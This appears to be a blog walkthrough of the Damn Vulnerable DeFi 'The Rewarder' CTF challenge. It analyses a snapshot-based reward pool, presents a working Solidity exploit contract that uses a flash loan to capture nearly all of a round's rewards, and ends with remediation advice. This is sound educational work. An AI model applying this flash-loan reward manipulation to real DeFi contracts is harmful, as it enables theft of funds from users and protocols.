CTF walkthrough, Damn Vulnerable DeFi, #5 The rewarder

Challenge

Today we’re going to take a look at The Rewarder challenge:

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards! You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself. Oh, by the way, rumours say a new pool has just landed on mainnet. Isn’t it offering DVT tokens in flash loans?

Analysis

Let’s explore the smart contracts! For this challenge we have 5 of them:

  • DamnValuableToken – The ERC20 token deposited into TheRewarderPool by users (DVT aka the “liquidity token”).
  • AccouningToken – The ERC20 named rToken (rTKN). Used for internal accounting and snapshots. Pegged \( 1:1 \) with the “liquidity token” (DVT).
  • RewardToken – The ERC20 token in which rewards are issued (RWT).
  • TheRewarderPool – The pool offering rewards every \( 5 \) days.
  • FlashLoanerPool – Another pool, which allows us to get a flash loan in DVT. Has \( 1000000 \) (1 million) DVT’s in it.

Now, let’s review the setup code in TheRewarder.t.sol test contract.

SetUp

There are 2 constants:

uint256 internal constant TOKENS_IN_LENDER_POOL = 1_000_000e18;
uint256 internal constant USER_DEPOSIT = 100e18;

The first one is used to set initial token balance of the pool offering flash loans:

dvt.transfer(address(flashLoanerPool), TOKENS_IN_LENDER_POOL);

The second one is the amount of tokens each user deposits:

for (uint8 i; i < 4; i++) {
    // Each user gets 100 DVT's
    dvt.transfer(users[i], USER_DEPOSIT); // <--

    // Approve spending of 100 DVT and make a deposit
    vm.startPrank(users[i]);
    dvt.approve(address(theRewarderPool), USER_DEPOSIT); // <--
    theRewarderPool.deposit(USER_DEPOSIT); // <--

    // Ensure that the pool's accounting token increased
    assertEq(
        theRewarderPool.accToken().balanceOf(users[i]),
        USER_DEPOSIT
    );
    vm.stopPrank();
}

Initially there are \( 400 \) accounting tokens minted (\( 100 \) tokens for each user) and no rewards distributed:

assertEq(theRewarderPool.accToken().totalSupply(), USER_DEPOSIT * 4);
assertEq(theRewarderPool.rewardToken().totalSupply(), 0);

Then it advances the time \( 5 \) days (the minimum duration of round) so that depositors can get rewards:

vm.warp(block.timestamp + 5 days);

And calls the distributeRewards() function:

for (uint8 i; i < 4; i++) {
    vm.prank(users[i]);
    theRewarderPool.distributeRewards(); // <--

    assertEq(theRewarderPool.rewardToken().balanceOf(users[i]), 25e18);
}

assertEq(theRewarderPool.rewardToken().totalSupply(), 100e18);

It asserts that:

  • Each depositor gets \( 25 \) reward tokens (RWT).
  • The are \( 4 × 25 = 100 \) reward tokens (RWT) emitted.

It also cheks that we start with zero DVT tokens in balance:

assertEq(dvt.balanceOf(attacker), 0);

And that the 2 rounds have occurred so far:

assertEq(theRewarderPool.roundNumber(), 2);

Next, let’s go over the validation() function.

Validation

It asserts that only one round have taken place:

assertEq(theRewarderPool.roundNumber(), 3);

Then it ensures that users get negligible rewards this round:

for (uint8 i; i < 4; i++) {
    vm.prank(users[i]);
    theRewarderPool.distributeRewards();
    uint256 rewardPerUser = theRewarderPool.rewardToken().balanceOf(users[i]);
    uint256 delta = rewardPerUser - 25e18;
    assertLt(delta, 1e16);
}
  • It calls the distributeRewards() for each user.
  • Calculates the current round reward (delta).
  • Asserts that it is less than \( 0.01 \) RWT.

Finally, it checks that rewards have been issued:

assertGt(theRewarderPool.rewardToken().totalSupply(), 100e18);

And that the amount of rewards earned by attacker is really close to \( 100 \) tokens:

uint256 rewardAttacker = theRewarderPool.rewardToken().balanceOf(attacker);
uint256 deltaAttacker = 100e18 - rewardAttacker;
assertLt(deltaAttacker, 1e17);

The attacker finishes with zero DVT tokens in balance:

assertEq(dvt.balanceOf(attacker), 0);

Let’s take a look at the challenge contracts.

AccountingToken

It inherits from the ERC20Snapshot and AccessControl:

contract AccountingToken is ERC20Snapshot, AccessControl { ... }

The ERC20Snapshot is an ERC20 extension that lets you record the total supply and balance of an account at the specific point in time to retrieve later. The AccessControl contract allows to implement role-based access control. AccountingToken uses it to define 3 roles: minter, shapshot and burner:

bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

constructor() ERC20("rToken", "rTKN") {
    _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
    _setupRole(MINTER_ROLE, msg.sender);
    _setupRole(SNAPSHOT_ROLE, msg.sender);
    _setupRole(BURNER_ROLE, msg.sender);
}

It also has 3 corresponding external functions: mint, snapshot and burn.

The transfer and approve functionality of ERC20 is “disabled”:

function _transfer(address, address, uint256) internal pure override {
    revert NotImplemented();
}

function _approve(address, address, uint256) internal pure override {
    revert NotImplemented();
}

RewardToken

Defines the minter role and the corresponding function to mint reward tokens. It gives that minter role only to the contract creator:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {AccessControl} from "openzeppelin-contracts/access/AccessControl.sol";

/**
 * @title RewardToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @dev A mintable ERC20 with 2 decimals to issue rewards
 */
contract RewardToken is ERC20, AccessControl {
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    error Forbidden();

    constructor() ERC20("Reward Token", "RWT") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        if (!hasRole(MINTER_ROLE, msg.sender)) revert Forbidden();
        _mint(to, amount);
    }
}

FlashLoanerPool

Just a regular flash loan pool implementation we already familiar with. We can use it to borrow some DVT’s by implementing the receiveFlashLoan(uint256) function in our Exploit contract:

contract FlashLoanerPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable liquidityToken;

    error NotEnoughTokensInPool();
    error FlashLoanHasNotBeenPaidBack();
    error BorrowerMustBeAContract();

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }

    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        if (amount > balanceBefore) revert NotEnoughTokensInPool();
        if (!msg.sender.isContract()) revert BorrowerMustBeAContract();

        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(
            abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)
        );

        if (liquidityToken.balanceOf(address(this)) < balanceBefore)
            revert FlashLoanHasNotBeenPaidBack();
    }
}

TheRewarderPool

Let’s examine public/external functions of this contract:

function deposit(uint256 amountToDeposit) external {
    if (amountToDeposit == 0) revert MustDepositTokens();

    accToken.mint(msg.sender, amountToDeposit); // <--
    distributeRewards(); // <--

    if (
        !liquidityToken.transferFrom(
            msg.sender,
            address(this),
            amountToDeposit
        )
    ) revert TransferFail();
}
  • Requires the deposit to be greater than zero.
  • Mints an amount of rTKN’s equal to the amount of deposited DVT’s. These rTKN’s would be burned on withdrawal.
  • Calls the distributeRewards, which creates a new snapshot of the deposited DVT’s for each round and distributes the rewards.
  • Transfers the amountOfDeposit of DVT tokens from msg.sender to this contract.

The withdraw function does two things:

function withdraw(uint256 amountToWithdraw) external {
    accToken.burn(msg.sender, amountToWithdraw);
    if (!liquidityToken.transfer(msg.sender, amountToWithdraw))
        revert TransferFail();
}
  • Burns the amountToWithdraw rTKN tokens.
  • Transfers DVT tokens to the caller account.

Now, let’s review the most interesting function in this contract:

function distributeRewards() public returns (uint256) {
    uint256 rewards = 0;

    if (isNewRewardsRound()) {
        _recordSnapshot();
    }

    uint256 totalDeposits = accToken.totalSupplyAt(
        lastSnapshotIdForRewards
    );
    uint256 amountDeposited = accToken.balanceOfAt(
        msg.sender,
        lastSnapshotIdForRewards
    );

    if (amountDeposited > 0 && totalDeposits > 0) {
        rewards = (amountDeposited * 100 * 10**18) / totalDeposits;

        if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
            rewardToken.mint(msg.sender, rewards);
            lastRewardTimestamps[msg.sender] = block.timestamp;
        }
    }

    return rewards;
}

It uses snapshots to calculate the rewards. Users get their rewards dependent on the amount deposited vs total deposits in the current round:

\( \dfrac{amountDeposited × 100 × 10^{18}}{totalDeposits × 10^{18}} \)

To get the most reward tokens in the next round we should deposit so many DVT’s that the rewards for other users will be negligible. If we take a flash loan and deposit \( 1000000 \) DVT’s then our share will be so big that other users will get \( 0 \) RWT’s due to integer division rounding.

We can calculate the amount of reward tokens we’ll get:

\( \dfrac{1000000 × 100 × 10^{18}}{(1000000 + 4 \times 100) × 10^{18}} = \dfrac{100000000}{1000400} ≈ 99.96 \)

Now let’s calculate the amount of RWT’s for each user who deposited \( 100 \) DVT’s:

\( \dfrac{100 × 100 × 10^{18}}{(1000000 + 4 \times 100) × 10^{18}} = \dfrac{10000}{1000400} = 0 \) (because of integer division)

Solution

The deposit function immediately distributes the rewards. Hence we have to get ahead of everyone and be the first with our deposit in a new round. The distributeRewards uses the snapshot to get the totalDeposits so we can withdraw the deposited DVT’s right away. Then we pay back the flash loan and transfer all the rewards to the owner (attacker):

contract Exploit is DSTest {
    TheRewarderPool private immutable rewarder;
    FlashLoanerPool private immutable flashLoaner;
    DamnValuableToken private immutable dvt;
    RewardToken private immutable rwt;
    address private immutable owner;

    constructor(TheRewarderPool _rewarder, FlashLoanerPool _flashLoaner) {
        owner = msg.sender;
        rewarder = _rewarder;
        flashLoaner = _flashLoaner;
        dvt = _rewarder.liquidityToken();
        rwt = _rewarder.rewardToken();
    }

    function run() external {
        uint256 poolBalance = dvt.balanceOf(address(flashLoaner));
        flashLoaner.flashLoan(poolBalance);
    }

    function receiveFlashLoan(uint256 amount) external {
        dvt.approve(address(rewarder), amount);
        rewarder.deposit(amount);
        rewarder.withdraw(amount);
        dvt.transfer(address(flashLoaner), amount);
        uint256 rewardBalance = rwt.balanceOf(address(this));
        rwt.transfer(owner, rewardBalance);
    }
}

We can use the vm.warp to set the block.timestamp:

function testExploit() public {
    /** EXPLOIT START **/
    // wait for the next round
    vm.warp(block.timestamp + 5 days);
    vm.startPrank(attacker);
    new Exploit(theRewarderPool, flashLoanerPool).run();
    vm.stopPrank();
    /** EXPLOIT END **/
    validation();
}

And we passed the challenge! The forge’s trace is too large to include it right here %)

Maybe this sequence diagram can help visualizing the interactions between contracts.

Remediation

Get rid of snapshots and rounds

Don’t distribute rewards right after the deposit. Implement something like Staking Rewards to reward users for staking their token instead of relying on snapshots and rounds.

Multiply before dividing

Use the \( 10^{16} \) multiplier to fix the integer division rounding errors:

\( \dfrac{amountDeposited × 100 × 10^{36}}{totalDeposits × 10^{18}} \)

Now let’s calculate how much users would get if we used the above formula with multipliers:

\( \dfrac{100 × 100 × 10^{36}}{(1000000 + 4 \times 100) × 10^{18}} = \dfrac{10000 × 10^{18}}{1000400} = 9.9960016e+15 \)

This multiplier needs to be accounted for when working with the result in the future.

References


The solution/exploit code is here. This one was a bit trickier! Let’s see whats next – #6 Selfie.